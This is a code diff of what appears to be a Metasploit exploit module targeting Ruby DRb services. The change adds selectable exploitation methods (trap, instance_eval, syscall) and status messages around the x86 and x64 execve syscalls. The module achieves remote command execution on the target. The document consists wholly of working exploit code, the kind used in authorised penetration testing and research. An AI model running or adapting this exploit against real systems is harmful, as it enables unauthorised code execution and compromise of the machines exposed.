@@ -33,7 +33,10 @@ def initialize(info = {})
33
33
'Platform' => 'unix' ,
34
34
'Arch' => ARCH_CMD ,
35
35
'Targets' => [
36
- [ 'Automatic' , { } ] ,
36
+ [ 'Automatic' , { method : 'auto' } ] ,
37
+ [ 'Trap' , { method : 'trap' } ] ,
38
+ [ 'Eval' , { method : 'instance_eval' } ] ,
39
+ [ 'Syscall' , { method : 'syscall' } ] ,
37
40
] ,
38
41
'DisclosureDate' => 'Mar 23 2011' ,
39
42
'DefaultTarget' => 0 ) )
@@ -76,6 +79,7 @@ def method_syscall(p)
76
79
p . send ( :syscall , 2 )
77
80
# syscall execve
78
81
p . send ( :syscall , 11 , filename , 0 , 0 )
82
+ print_status ( "attempting x86 execve of #{ filename } " )
79
83
80
84
# likely x64
81
85
rescue Errno ::EBADF
@@ -89,6 +93,7 @@ def method_syscall(p)
89
93
p . send ( :syscall , 57 )
90
94
# syscall execve
91
95
p . send ( :syscall , 59 , filename , 0 , 0 )
96
+ print_status ( "attempting x64 execve of #{ filename } " )
92
97
end
93
98
94
99
register_file_for_cleanup ( filename ) if filename
@@ -109,14 +114,19 @@ class << p
109
114
undef :send
110
115
end
111
116
112
- methods = [ "instance_eval" , "syscall" , "trap" ]
117
+ if target [ :method ] == 'auto'
118
+ methods = [ "instance_eval" , "syscall" , "trap" ]
119
+ else
120
+ methods = [ target [ :method ] ]
121
+ end
122
+
113
123
methods . each do |method |
114
124
begin
115
125
print_status ( "trying to exploit #{ method } " )
116
126
send ( "method_" + method , p )
117
127
handler ( nil )
118
128
break
119
- rescue SecurityError => e
129
+ rescue SecurityError , DRb :: DRbConnError , NoMethodError
120
130
print_warning ( "target is not vulnerable to #{ method } " )
121
131
end
122
132
end
0 commit comments